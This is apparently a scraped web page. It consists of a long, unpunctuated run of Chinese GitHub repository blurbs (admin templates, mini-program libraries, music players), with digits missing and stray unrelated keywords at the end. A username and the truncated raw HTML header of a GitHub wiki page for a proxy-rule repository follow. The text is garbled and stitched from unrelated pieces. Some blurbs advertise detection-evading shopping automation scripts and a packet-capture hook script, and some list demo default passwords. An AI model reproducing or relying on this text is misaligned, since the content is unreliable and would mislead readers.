安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
jaityron
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-RPWwIpqyjxv5EpuWKUKyeZeWz9QEzIbAWTiYOuxGieUq7+AMiZbsLeQMfEdyEIUoNjLagHK0BEm92BmXnvaH4Q==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-40c1c9d8ff06284fb441108e6559f019.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-3CnDMoFJPvbM39ryV5wc51yRo/6j6eQPt5SOlYaoBZhR9rVL/UZH3ME+wt72nsTlNFaSQ3nXT/0F4sxE1zbA6g==" rel="stylesheet" href="https://github.githubassets.com/assets/github-38162889e1878fa3b887aa360e70ab6c.css" /> <meta name="viewport" content="width=device-width"> <title>Home · Alvin9999/new-pac Wiki</title> <meta name="description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta property="og:image" content="https://avatars0.githubusercontent.com/u/12132898?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Alvin9999/new-pac" /><meta property="og:url" content="https://github.com/Alvin9999/new-pac" /><meta property="og:description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6Mzc2MjMzNDkyOjM2ZmM1MjAzNDUwMjNhZGIxNmVjZTllOTI0YjY1YmQ0OWQyNmM4MzkzNWJhZTQzMDg5NzA0YjU3Y2E3NTNkMDE=--fa569a95af65bafbf0c16cb5eb8c194edc2045fb"> <meta name="pjax-timeout" content="1000"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" data-pjax-transient> <meta name="selected-link" value="repo_wiki" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-request_id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" /><meta name="octolytics-dimension-region_edge" content="iad" /><meta name="octolytics-dimension-region_render" content="iad" /><meta name="octolytics-actor-id" content="47923458" /><meta name="octolytics-actor-login" content="p4g5" /><meta name="octolytics-actor-hash" content="6a95853374cece7bf113bc42df1cef3ad50e04d98978b001c78c593432aa2c78" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/index" data-pjax-transient="true" /> <meta name="google-analytics" content="UA-3769691-2"> <meta class="js-ga-set" name="userId" content="649868b7d8b42456fef3feb17a9d0a6b"> <meta class="js-ga-set" name="dimension1" content="Logged In"> <meta name="hostname" content="github.com"> <meta name="user-login" content="p4g5"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ODkzYzZhMWZkM2IyYWJmODcxMzc2NTQ0ODU3ODc5NzkyMThhNGU0YmYyODA3OTFiMGZhYmI0ZTdlZGI0MTEwMHx7InJlbW90ZV9hZGRyZXNzIjoiMTM4LjE5LjI0My4xMTAiLCJyZXF1ZXN0X2lkIjoiODE4Qzo3NUFDOjE1QzVEODM6MjkxQjFDMjo1QzcyMThCOCIsInRpbWVzdGFtcCI6MTU1MDk4MTMwOCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="UNIVERSE_BANNER,MARKETPLACE_SOCIAL_PROOF,MARKETPLACE_PLAN_RESTRICTION_EDITOR,NOTIFY_ON_BLOCK,RELATED_ISSUES,MARKETPLACE_BROWSING_V2"> <meta name="html-safe-nonce" content="949564c0ba7317eace2a7bfddf1ecff165bf3dab"> <meta http-equiv="x-pjax-version" content="fe602614af4c1a740e12e3bc8fce8de2"> <link href="https://github.com/Alvin9999/new-pac/commits/master.atom" rel="alternate" title="Recent Commits to new-pac:master" type="application/atom+xml"> <meta name="go-import" content="github.com/Alvin9999/new-pac git https://github.com/Alvin9999/new-pac.git"> <meta name="octolytics-dimension-user_id" content="12132898" /><meta name="octolytics-dimension-user_login" content="Alvin9999" /><meta name="octolytics-dimension-repository_id" content="54544023" /><meta name="octolytics-dimension-repository_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="54544023" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://github.githubassets.com/favicon.ico"> <meta name="theme-color" content="#1e2327"> <meta name="u2f-support" content="true"> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive min-width-0"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" tabindex="1" class="p-3 bg-blue text-white show-on-focus js-skip-to-content">Skip to content</a> <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div> <header class="Header js-details-container Details f5" role="banner"> <div class="d-lg-flex p-responsive flex-justify-between px-3 "> <div class="d-flex flex-justify-between flex-items-center"> <div class="d-none d-lg-block"> <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo"> <svg height="32" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 